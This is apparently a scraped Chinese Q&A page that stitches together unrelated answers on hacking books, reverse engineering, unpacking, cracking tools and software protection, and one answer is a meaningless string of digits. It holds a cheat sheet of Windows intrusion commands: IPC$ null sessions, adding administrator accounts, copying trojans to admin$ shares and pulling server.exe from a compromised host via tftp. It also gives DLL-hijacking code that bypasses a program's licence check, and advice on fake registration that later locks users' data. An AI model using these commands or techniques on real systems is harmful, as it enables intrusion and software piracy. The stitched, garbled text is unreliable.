言权了,有看过的战友可以发表一下意见。11.《黑客反汇编揭秘》这是一本关于逆向分析的书,与其配套的还有一本叫《黑客调试技术揭秘》,反汇编这本书网上有电子书,大家可下载来看,pdf格式的,但是调试这本书我没找到,在网上写着调试的书名,下载下来才发现是反汇编那本书.这两本书对汇编知识均有一定的要求,因此建议大家先学完汇编再看。12.《网络黑客加密与解密》这本书里面有一些脚本入侵方面的一点知识,内容较少,主要是讲加解密方面的知识,后面有大部分的破解实例讲解,但注释较少,我自己当时也是看得迷糊迷糊的(没办法,自己汇编能力差点,呵呵)13.《加密解密全方位学习》这本书我是在图书馆看到的,适合加解密初学者,因为这本书要求的预备知识不高,只要有点C语言基础就可以,里面会讲到一些相对简单些的汇编指令,以及crackme的简单制作,还有注册机的编写(个人觉得不是很详细)14.《加密与解密》就是看雪学院那本书,第三版快出来了,就在这一二月份吧!我 看的是第二版的电子书,还没看完,这本书在加解密方面写得算是比较完整详细的了,而且是从基础讲起,循序渐进,大力推荐,若要学习逆向工程,看雪学院也确实是个不错的地方。15.《shellcode编程揭秘》这是一本关于缓冲区溢出攻击的书,我自己也没看过,不过电子书倒是有,就放在邮箱里面,呵呵,打算后面再看,关于溢出攻击的书还有很多,如《网络渗透技术》,《缓冲区溢出攻击检测,预防,剖析》,《the shellcode handbook》16.《深入理解计算机系统》此书也是我在图书馆借的,被我霸占了半年之久,这次又被我借回来复习一下了(真对不起各位书友啊,呼呼……),这是一本站在程序员的角度写的一本书,因此也必须要有C语言基础,要是有unix系统的操作经验会更好,因为这本书中的代码就是在UNIX下调试操作的。相信这本书对于你学出更好的代码会有一定的帮助,其中还有特别的一章用来讲解如何编写高效的程序,并以一个实例代码来讲解,一步步地进行完善,最终写出一个高效率的程序。这本书也是学溢出攻击方面的基础知识,在安全焦点上也说这本书是《网络渗透技术》的基础知识,但看完这本书也不一定能看懂网渗,呵呵……17.《rootkit:windows内核安全防护》内容简介本书是目前第一本关于rootkit的详尽指南,包括rootkit的概念、它们是怎样工作的、如何构建和检测它们。世界顶级软件安全专家、rootkit.com创始人Greg Hoglund和James Butler向大家详细介绍攻击者是如何进入系统并长期驻留而不会被检测到的,以及黑客是如何摧毁Windows XP和Windows 2000内核系统的,其概念可以应用于现代任何主流操作系统。通过本书,读者可以全面掌握rootkit,提升自己的计算机安全防范能力.18.《0day安全:软件漏洞分析技术》 四月份刚出版的,看雪论坛的,有看过一部分学得还不错,适合对溢出感兴趣的战友们。要告诉你点常识…虽然多,但都是基本的!希望你可以用心去学!DOS 命令net use ipipc$ " " /user:" " 建立IPC空链接 net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: ipc$ 登陆后映射对方C:到本地为H: net use ipipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意: administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time 目标ip 查看对方时间 net time 目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直 ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参 数"/all"显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A- H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A- S *.*"表示删除当前目录下除系统文件以外的所有文件 二: del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命 令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的命令) telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注: 2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文 件)至本地C: xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将"IP"的 server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式 (传送文本文件模式)进行传送 tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文 本文件时) route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 望采纳O(∩_∩)O
2023-07-05 03:05:083

化工传递过程习题

001250012600127001280012910283
2023-07-05 03:05:161

ASPack 2.x 脱壳

【脱壳作者】 manbug【使用工具】 OllyDBG ,LordPE,ImportREC,PEiD【脱壳平台】 WinXP SP2【软件名称】 Bigman"s Crackme6(看雪2007精华里面的)【软件大小】 7K【加壳方式】 ASPack 2.x (without poly) -> Alexey Solodovnikov [Overlay] 虽然现在的脱壳机很多,我是初学者,为了煅炼一下自己的手动能力,所以将自己脱壳的过程写下来与大家分享,不对之处请指正.用OD载入程序:00405001 > E8 03000000 call crackme6.00405009 ; 加载后停在这里,按F700405007 /EB 04 jmp short crackme6.0040500D00405009 |5D pop ebp0040500A |45 inc ebp0040500B |55 push ebp0040500C |C3 retn0040500D 90 nop0040500E E8 01000000 call crackme6.00405014 ; F7跟进..........00405014 5D pop ebp ; 以下按F8单步走,如有向上跳转用F4打断00405015 BB EDFFFFFF mov ebx, -130040501A 03DD add ebx, ebp0040501C 81EB 00500000 sub ebx, 500000405022 83BD 22040000 0>cmp dword ptr [ebp+422], 000405029 899D 22040000 mov dword ptr [ebp+422], ebx0040502F 0F85 65030000 jnz crackme6.0040539A00405035 8D85 2E040000 lea eax, dword ptr [ebp+42E]0040503B 50 push eax0040503C FF95 4D0F0000 call near dword ptr [ebp+F4D]00405042 8985 26040000 mov dword ptr [ebp+426], eax00405048 8BF8 mov edi, eax0040504A 8D5D 5E lea ebx, dword ptr [ebp+5E]..........0040513A 3C E9 cmp al, 0E90040513C 74 04 je short crackme6.004051420040513E 43 inc ebx0040513F 49 dec ecx00405140 ^ EB EB jmp short crackme6.0040512D00405142 8B06 mov eax, dword ptr [esi] ; F4 打断向上跳转00405144 EB 00 jmp short crackme6.0040514600405146 803E 00 cmp byte ptr [esi], 000405149 ^ 75 F3 jnz short crackme6.0040513E0040514B 24 00 and al, 00040514D C1C0 18 rol eax, 1800405150 2BC3 sub eax, ebx00405152 8906 mov dword ptr [esi], eax00405154 83C3 05 add ebx, 500405157 83C6 04 add esi, 40040515A 83E9 05 sub ecx, 50040515D ^ EB CE jmp short crackme6.0040512D0040515F 5B pop ebx ; F4 打断向上跳转00405160 5E pop esi00405161 59 pop ecx.............0040519D 83C6 08 add esi, 8004051A0 833E 00 cmp dword ptr [esi], 0004051A3 ^ 0F85 1EFFFFFF jnz crackme6.004050C7004051A9 68 00800000 push 8000 ; F4 打断向上跳转004051AE 6A 00 push 0.............00405376 8907 mov dword ptr [edi], eax00405378 8385 49050000 0>add dword ptr [ebp+549], 40040537F ^ E9 32FFFFFF jmp crackme6.004052B600405384 8906 mov dword ptr [esi], eax ; F4 打断向上跳转00405386 8946 0C mov dword ptr [esi+C], eax00405389 8946 10 mov dword ptr [esi+10], eax0040538C 83C6 14 add esi, 140040538F 8B95 22040000 mov edx, dword ptr [ebp+422]00405395 ^ E9 EBFEFFFF jmp crackme6.004052850040539A B8 CB110000 mov eax, 11CB ; F4 打断向上跳转0040539F 50 push eax004053A0 0385 22040000 add eax, dword ptr [ebp+422]004053A6 59 pop ecx004053A7 0BC9 or ecx, ecx004053A9 8985 A8030000 mov dword ptr [ebp+3A8], eax004053AF 61 popad ; 关键句了,嘿嘿004053B0 75 08 jnz short crackme6.004053BA004053B2 B8 01000000 mov eax, 1004053B7 C2 0C00 retn 0C004053BA 68 CB114000 push crackme6.004011CB ; 入口点就是004011CB了啊004053BF C3 retn ; F8单步返回就是入口点了.........004011CB . 64:A1 0100000>mov eax, dword ptr fs:[1] ; SFX 代码真正入口点,停在这里脱壳004011D1 /. 55 push ebp004011D2 |. 89E5 mov ebp, esp004011D4 |. 6A FF push -1004011D6 |. 68 1C204000 push crackme6.0040201C004011DB |. 68 9A104000 push crackme6.0040109A004011E0 |. 50 push eax用lordpe进步脱壳啦,这个大家都会吧,呵呵脱壳之后用Import REC修正,在OEP中填11CB,点AutoSearch,点Get Imports,发现只有6个导入函数,肯定不对啦,那就要手动找一下输入表了.看自动找到输入表的RVA为03138,加上基址400000就是403138,在OD 的数据窗口中转到403138的地址处,向上翻,果然还有数据,起地址为4030A4,止地址为4032BE,大小为21A,于是将Import REC中的 IAT RVA填入30A4,Size填21A,再点Get Imports就可以找到很多导入函数了,不过还有一些无效的,不要紧,点击show Invalid 将无效的函数CUT掉,然后FIX DUMP你的脱壳文件就行了,一切搞定,脱壳运行正常当然找这个壳的入口点还有一种简单的方法,就是在OD中忽略所有异常,在SFX选项中选中字节方式跟踪真正入口点处,然后载入程序,过一会就可以停在真正的入口点了.
2023-07-05 03:05:292

英文crack是什么意思呢?

vt. & vi. 1. (使…)开裂, 破裂2. (使)身体上或精神上垮掉3. 打开, 砸开4. (使)发出爆裂声5. 开瓶;(尤指)开瓶饮酒 6. 说(笑话);开(玩笑)7. 砸碎;打碎8. 重击;猛击9. (突然)变嘶哑,变沙哑10. (因压力而)吃不消,崩溃,瓦解11. 找到解决(难题等的)方法12. 阻止,打击,击败,战胜(罪犯或敌人)n. 1. 裂缝, 缝隙2. 劈叭声, 爆裂声3. 意外的一下重击4. 试图, 尝试5. 俏皮话6. (可听到响声的)重击,猛击7. 缝隙;狭缝;窄缝8. 好时光;友好愉快的交谈adj. 1. 训练有素的;技艺高超的;优秀的;一流的vt. 1. 稍微打开2. 【化学】裂化(石油等),使裂解3. 吹捧(某人或物)4. 使发狂,使精神失常5. 【计算机】非法侵入adv. 1. 发出噼啪声地crack,最直接的意为钥匙、破解意,cracker,破解者 CRACK 这个名词很容易和HACK混淆,但是许多人不理解CRACK这个东西,但是接触过软件破解的人一定了解这个词 CRACKER分析下就是软件破解者的意思(注意这里有多了个ER),许多共享软件就是我们的CRACKER来完成破解的,就是现在俗称的 XX软件破解版 许多程序员写的作品 都会被Cracker破解 程序员也会写一些CrackMe 来练习破解 (CreackMe 就是破解我的意思) ReverseMe 逆向我 比CreackMe 难度更大 在没有源码的情况下 做二次开发
2023-07-05 03:05:394

看雪加密与解密crackmes.cjb.net镜像

http://book.kanxue.com/Crack_New_Year_Presents_2009.rar http://bbs.pediy.com/showpost.php?p=432246&postcount=5 看雪学院加密与解密工具新年大礼包2009 DVD1 New Year Presents 2009 Edition PEDIY & China BCG荣誉出品 本光盘主要收集了常用的加密与解密工具,工具来自bbs.pediy.com兄弟们的分享,我们主要是负责整理了一下,做个列表和启动,不足之处请原谅!由于精力实在有限,对本光盘的不足之处请大家海涵。祝2009年顺心、快乐、健康、幸福! This DVD-ROM mainly collects the common cracking tools shared by friends of bbs.pediy.com, we are just responsible for arranging the contents, adding a list and startup. Excuse us for any flaws. We are particularly grateful to Allon for his present bag cover. Wish you a satisfactory, happy and healthy new year! PEDIY & BCG 2009-01-01 特别提示:由于一些工具被应用在病毒或木马上,特别是一些壳,因此杀毒软件会将这些工具直接当病毒或木马处理。 文件列表: 2009-01-01 13:18 1,429,434,368 Crack_New_Year_Presents_2009.iso Calculating hash of 1429434368 bytes file `Crack_New_Year_Presents_2009.iso`: SHA-512 : B24A5E632E307C619EE4001236237308D7F721D3D160532AEA6397A57A11701E742FD079E4A3E0BBEC5434C3694AF023FEAB252731FBD0E907FE634B0CBF3C39 MD5 : F3B5B486D249913DD35C87C386FDBE02 卷 DISC1-D 的文件夹 PATH 列表 卷序列号为 7026-6646 D:. ├—PE工具 │ ├—PE资源 │ │ ├—资源编辑 │ │ │ ├—eXeScope │ │ │ ├—reshacker │ │ │ ├—ResScope │ │ │ └—Restorator │ │ └—资源重建 │ │ ├—DT_FixRes │ │ ├—freeRes │ │ └—ResFixer │ ├—增加区段工具 │ │ ├—topo │ │ └—Zero Add │ ├—综合工具 │ │ ├—Cff ExPlorer │ │ ├—Export Editor │ │ ├—LordPE │ │ ├—PEDIYTools │ │ ├—PETools │ │ └—Stud_PE │ ├—输入表工具 │ │ ├—CHimpREC │ │ │ └—库文件 │ │ ├—Import REC │ │ │ ├—ImpREC 1.6 │ │ │ │ └—patch │ │ │ ├—ImpREC 1.7 │ │ │ ├—plugin │ │ │ └—src │ │ └—UIF │ ├—输出表工具 │ │ ├—AheadLib │ │ ├—ExpX │ │ └—PeMove │ └—重定位表工具 │ ├—Dll Loader │ ├—Dll Rebaser │ ├—RelocEdit │ ├—ReloREC │ └—ReloX ├—代码计算 │ ├—32bit Calculator │ ├—Fpu Calculat
2023-07-05 03:06:021

vb高级编程:防止破解,请高手帮忙。

伪装入口点和启动自验证和自校验 这3种方法能够对付很多的破解者了有条件加个加密狗给他
2023-07-05 03:06:105

工程中CM是什么模式

Construction Management Approach模式又称“边设计、边施工”方式。CM模式是由业主委托CM单位,以一个承包商的身份,采取有条件的“边设计、边施工”,着眼于缩短项目周期,也称快速路径法。即Fast Track的生产组织方式来进行施工管理,直接指挥施工活动,在一定程度上影响设计活动,而它与业主的合同通常采用“成本+利润”方式的这样一种承发包模式。此方式通过施工管理商来协调设计和施工的矛盾,使决策公开化。其特点是由业主和业主委托的工程项目经理与工程师组成一个联合小组共同负责组织和管理工程的规划、设计和施工。完成一部分分项(单项)工程设计后,即对该部分进行招标,发包给一家承包商,无总承包商,由业主直接按每个单项工程与承包商分别签订承包合同。这是近年在国外广泛流行的一种合同管理模式,这种模式与过去那种设计图纸全都完成之后才进行招标的连续建设生产模式不同。扩展资料优点1、在项目进度控制方面,由于CM模式采用分散发包、集中管理,使设计与施工充分搭接,有利于缩短建设周期;2、CM单位加强与设计方的协调,可以减少因修改设计而造成的工期延误;3、在投资控制方面,通过协调设计,CM单位还可以帮助业主采用价值工程等方法向设计提出合理化建议,以挖掘节约投资的潜力, 还可以大大减少施工阶段的设计变更。如果采用了具有GMP的CM模式,CM单位将对工程费用的控制承担更直接的经济责任,因而可以大大降低业主在工程费用控制方面的风险;4、在质量控制方面,设计与施工的结合和相互协调,在项目上采用新工艺、新方法时,有利于工程施工质量的提高;5、分包商的选择由业主和承包人共同决定,因而更为明智。缺点1、对CM经理以及其所在单位的资质和信誉的要求都比较高;2、分项招标导致承包费可能较高;3、CM模式一般采用“成本加酬金”合同,对合同范本要求比较高。参考资料来源:百度百科-CM模式
2023-07-05 03:06:264

DLL文件劫持应该怎么办 急啊

DLL当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行,如图18.4。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。184.gif利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll, ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的ws2_32.dll,游戏程序中的d3d8.dll,还有大部分应用程序都调用的lpk.dll,这些DLL都可被劫持。利用5.6.2章提供的CrackMeNet.exe来演示一下如何利用劫持技术制作补丁,目标文件用Themida v1.9.2.0加壳保护。1.补丁地址去除这个CrackMe网络验证方法参考第5章,将相关补丁代码存放到函数PatchProcess( )里。例如将401496h改成:代码:00401496 EB 29 jmp short 004014C1补丁编程实现就是:代码: unsigned char p401496[2] = {0xEB, 0x29};WriteProcessMemory(hProcess,(LPVOID)0x401496, p401496, 2, NULL);p401496这个数组的数据格式,可以用OllyDBG插件获得,或十六进制工具转换。例如Hex Workshop打开文件,执行菜单Edit/Copy As/Source即可得到相应的代码格式。2.构建输出函数查看实例CrackMeNet.exe输入表,会发现名称为ws2_32.dll的DLL,因此构造一个同名的DLL来完成补丁任务。伪造的ws2_32.dll有着真实ws2_32.dll一样的输出函数,完整源码见光盘。实现时,可以利用DLL模块中的函数转发器来实现这个目标,其会将对一个函数的调用转至另一个DLL中的另一个函数。可以这样使用一个pragma指令:代码:#pragma comment(linker, "/EXPORT:SomeFunc=DllWork.someOtherFunc")这个pragma告诉链接程序,被编译的DLL应该输出一个名叫SomeFunc的函数。但是SomeFunc函数的实现实际上位于另一个名叫SomeOtherFunc的函数中,该函数包含在称为DllWork. dll的模块中。如要达到劫持DLL的目的,生成的DLl输出函数必须与目标DLL输出函数名一样,本例可以这样构造pragma指令:代码:#pragma comment(linker, "/EXPORT:WSAStartup=_MemCode_WSAStartup,@115")编译后的DLL,会有与ws2_32.dll同名的一个输出函数WSAStartup,实际操作时,必须为想要转发的每个函数创建一个单独的pragma代码行,读者可以写一个工具或用其他办法,将ws2_32.dll输出函数转换成相应的pragma指令。当应用程序调用伪装ws2_32.dll的输出函数时,必须将其转到系统ws2_32.dl中去,这部分的代码自己实现。例如WSAStartup输出函数如下构造:代码: ALCDECL MemCode_WSAStartup(void){GetAddress("WSAStartup");__asm JMP EAX;//转到系统ws2_32.dll的WSAStartup输出函数}其中GetAddress()函数的代码如下:代码: // MemCode 命名空间namespace MemCode{HMODULE m_hModule = NULL; //原始模块句柄DWORD m_dwReturn[500] = {0}; //原始函数返回地址// 加载原始模块inline BOOL WINAPI Load(){TCHAR tzPath[MAX_PATH]={0};TCHAR tzTemp[MAX_PATH]={0};GetSystemDirectory(tzPath, sizeof(tzPath));strcat(tzPath,"\ws2_32.dll");m_hModule = LoadLibrary(tzPath);//加载系统系统目录下ws2_32.dllif (m_hModule == NULL){wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);}return (m_hModule != NULL); }// 释放原始模块inline VOID WINAPI Free(){if (m_hModule)FreeLibrary(m_hModule);}// 获取原始函数地址FARPROC WINAPI GetAddress(PCSTR pszProcName){FARPROC fpAddress;TCHAR szProcName[16]={0};TCHAR tzTemp[MAX_PATH]={0};if (m_hModule == NULL){if (Load() == FALSE)ExitProcess(-1);}fpAddress = GetProcAddress(m_hModule, pszProcName);if (fpAddress == NULL){if (HIWORD(pszProcName) == 0){wsprintf(szProcName, "%d", pszProcName);pszProcName = szProcName;}wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);ExitProcess(-2);}return fpAddress;}}using namespace MemCode;编译后,用LordPE查看伪造的ws2_32.dll输出函数,和真实ws2_32.dll完全一样,如图18.5所示。185.gif查看伪造的ws2_32.dll中任意一个输出函数,例如WSACleanup:代码: .text:10001CC0 ; int __stdcall WSACleanup().text:10001CC0 WSACleanup proc near.text:10001CC0 push offset aWsacleanup ;"WSACleanup".text:10001CC5 call sub_10001000 ;GetAddress(WSACleanup).text:10001CCA jmp eax.text:10001CCA WSACleanup endp会发现输出函数WSACleanup()首先调用GetAddress(WSACleanup),获得真实ws2_32.dll中WSACleanup的地址,然后跳过去执行,也就是说ws2_32.dll各输出函数被HOOK了。3.劫持输出函数ws2_32.dll有许多输出函数,经分析,程序发包或接包时,WSAStartup输出函数调用的比较早,因此在这个输出函数放上补丁的代码。代码如下:代码: ALCDECL MemCode_WSAStartup(void){hijack();GetAddress("WSAStartup");__asm JMP EAX; }hijack()函数主要是判断是不是目标程序,如是就调用PatchProcess()进行补丁。void hijack(){if (isTarget(GetCurrentProcess())) //判断主程序是不是目标程序,是则补丁之{PatchProcess(GetCurrentProcess());}}伪造的ws2_32.dll制作好后,放到程序当前目录下,这样当原程序调用WSASTartup函数时就调用了伪造的ws2_32.dll的WSASTartup函数,此时hijack()函数负责核对目标程序校验,并将相关数据补丁好,处理完毕后,转到系统目录下的ws2_32.dll执行。这种补丁技术,对加壳保护的软件很有效,选择挂接的函数最好是在壳中没有被调用,当挂接函数被执行时,相关的代码己被解压,可以直接补丁了。有些情况下,必须用计数器统计挂接的函数的调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些DLL文件存在时,应引起注意。
2023-07-05 03:06:421

易语言反破解教程说信息框用自定义窗口就是自己新建窗口,请问新建窗口怎么做到程序等待或者系统等待效果

4.随机验证 随机验证很重要,例如你的一处验证是一直存在的,奸人就很容易地下断点跟踪了。因此在软件启动时进行一次正常验证外,其他情况下的验证最好是随机的,用30分之一或50分之一的机会进行验证,这样奸人会不停地试你的软件在哪一处进行了验证,因此破解的时间会相当地长。 加密第14定理:足够多的随机验证足以让破解者累死。 随机验证包括随机进入不同的验证子程序。 或随机中的最大数大一些,只有30分之一的机会验证。 或在窗口中放上一些颜色与底图一样的图片框,这样奸人不一定会点击这里,但用户万一点中了,就会触发验证。 我们假设所有软件都能被破解,包括易语言在内,那么如果他破解的速度跟不上你发布新软件的速度,那么他永远在破最新版而累死。或者说他破解的时间比你写一个软件的代价大,这时还不如他直接写这个软件来得合算。 反破解的任务之一就是让奸人累死,或浪费他的生命。 下面的办法也可以使用:你可以在读到待验证的注册码、公钥、注册文件后,通过定义10000个数组,存入上述同样的内容以备以后进行验证,这最多浪费一些内存。验证时随机使用其中的一个进行验证,由于奸人不知你用的是数组中的哪一个进行的比对,而且是随机的,每次验证的值都不一样,不让奸人吐血才怪呢。 计次循环首(10000,计次) 数组[计次] = “123456” " 复制一万个公开注册码或公钥,破解者知道也无所谓。 计次循环尾 数组[取随机数(1,10000)] 你不要立刻检查注册码,10000份拷贝你只要以后随机找一份用就行了,破解的人不知道你正在用的是那一个,同时你可以事先编好且运行时不断使用一些假的读取注册码数组的调用干扰破解者。这种方法对程序的性能影响微不足到,只是浪费一点内存。因为Debug对内存下断点的局限,这种情况他要下断点,累死的就是破解的人了。 5.不同权限验证 在启动时进行一次验证是非常必要的,这样让奸人知道确实是验证了,以让他心理放松警惕,而这次的验证只是一部分验证,并没有完全验证。 还有的建议在启动时将注册信息读入后不要进行验证,保不定在哪里进行验证,个人认为这样让破解者提高了警惕性,会认为软件作者很有经验。麻痹敌人也很重要呀。 例如,在启动时验证通过一次,验证级别加强一级,然后再在其他的地方再进行验证就可以了。 下面代码是确认了一个级别 计次循环首(到数值(验证1),) 已注册 = 1 计次循环尾() …… …… 在另一个触发子程序中再通过这个级别再验证: 计次循环首(已注册) 计次循环首(到数值(验证2),) 已注册 = 2 跳出循环() 计次循环尾() 跳出循环() 计次循环尾() 在其他触发子程序中再通过这个级别再验证: 计次循环首(已注册) 计次循环首(到数值(验证3),) 已注册 =3 跳出循环() 计次循环尾() 跳出循环() 计次循环尾() 有时也可以将级别降一降,怎么降,当然是不考虑级别直接验证了: 6.忽悠型的GHOFFICE过滤词语验证代码 前面已讲过花指令的原理,在程序中人为地再放一些GHOFFICE过滤词语代码以忽悠奸人也是一个好办法。GHOFFICE过滤词语代码就是一些假的验证代码,基本上是明文的,这样的代码上百上千,足以让奸人累死。 其实对付那些“根据跳转指令的爆破”高手来说,一个办法就够他们头疼的了,就是你在程序中不明显加入与判断是否正版有关的语句,也不做任何提示,以免让他们顺藤摸瓜,而是在判断为盗版后,跳转到另一个看似很合理的分支,而那个分支和正版的分支代码差不多,只是在计算公式或其它算法上稍动一下,使其运算结果不正确,这样,他们就在机器码级别上就分不清哪个是对的,哪个是错的了,即使他们认为破解成功,其实运行时,得的结果错误百出,他们就没兴趣了,呵呵,算损的吧!!! 加密第15定理:大量添加GHOFFICE过滤词语代码虽然是无奈之举,但很管用。 作业1:制作一个常量****器 要求:制作一个常量代码自动生成器。可随机生成成百上千个易语言源代码形式,可直接拷贝到易语言中成为常量。变量也可以这样制作。 写好这样一个程序后,就可以自动生成GHOFFICE过滤词语代码,然后复制,粘贴到易语言的常量表中即可。如下图所示: 变量也可以这样生成,不过生成的变量可以任意拷贝为全局变量,或程序集变量,或局部变量。制作时的名称可以为中文名称,直接编译后不会在EXE文件中找到同名的中文名称。因此您可以放心地将这些名称定义为:“GHOFFICE过滤词语常量1”、“GHOFFICE过滤词语变量1”等等以示与正常代码进行区别。 作业2:制作一个代码迷乱器 本次作业性质同上,也是自动生成易语言的一些无用GHOFFICE过滤词语代码,以迷乱奸人的破解,让他找到的全是GHOFFICE过滤词语代码,从而大大延长了破解时间。 通过直接拷贝编辑框中的内容,粘贴到您的代码中,可自动完成任务,如下图所示: 上图所生成的是一些明文的加密方法的GHOFFICE过滤词语代码,让奸人去研究这些GHOFFICE过滤词语吧。 上述子程序名称最好也有时调用一下,反正不会真正产生作用的,用多线程调用最好。 或者您平时注意多收集一些别人用于加密时的子程序,拷贝到一个易语言程序中,保存,这样的代码作为GHOFFICE过滤词语代码放在你有用的程序中,虽然增加了一些程序的体积,但安全性是大大提高了。并且基本上没有牺牲软件性能与稳定性。 7.伪验证技术 还是先举一个例子说明吧,易表软件在10.0版本前已发现有大量的注册机存在,于是易表作者其后改变了加密方式,易表10.0推出后还是出现了注册机,并且这种注册机注册过的软件可以使用。于是有些用户用注册机取得的注册码使用了,过了一段时间,当盗版用户将重要数据存入易表后,突然有一天数据库被锁定了,于是只好注册易表,并且让易表作者为数据库解锁。 从这里可以基本上判定易表新版本采用了伪验证技术,即在较为明显的地方提供了一级验证,这种验证方式没有经过太强的加密,而二级验证在一定的条件下才触发,而这个条件是检查到了用户输入了重要的数据,或大量的数据,或使用次数较多。 基本原理是注册文件由前后两个注册码拼接而成。一般情况下只进行第一个注册码的验证,而当条件成熟时进行第二个注册码验证。 这是一种双赢的策略,易表作者即收到了注册费,付费的人还会道歉,并且感谢易表作者。哈哈,大家要学习这招哦。 但本办法对于数据库应用及数据量大时检查最好,而对于一些没有生成数据的用户无效。 发布软件的时候发布自己编写的注册机,弄个假破解版,那么想破解的就可能不来了,即使有真的破解,谁会有自己给自己写假破解快啊!可能假破解版中只破解一半,等用户使用了,有数据了再锁定,让他们注册后再给解锁,付了钱还要谢谢你,哈哈,损招,但有用! 加密第16定理:伪验证可以迷惑一般破解者,甚至自己发布一个伪注册机。 8.定时验证、延时验证、客户数据集累验证 过一段时间后再验证,如你在2005年1月发布一个软件,那么就内定2005年6月后触发验证机会。 或您的软件是一个数据库产品,那么您可以在程序中设置如果数据库大于5MB时就进行验证,并且最好您能确定这些数据是不重复的,刻意加入的。 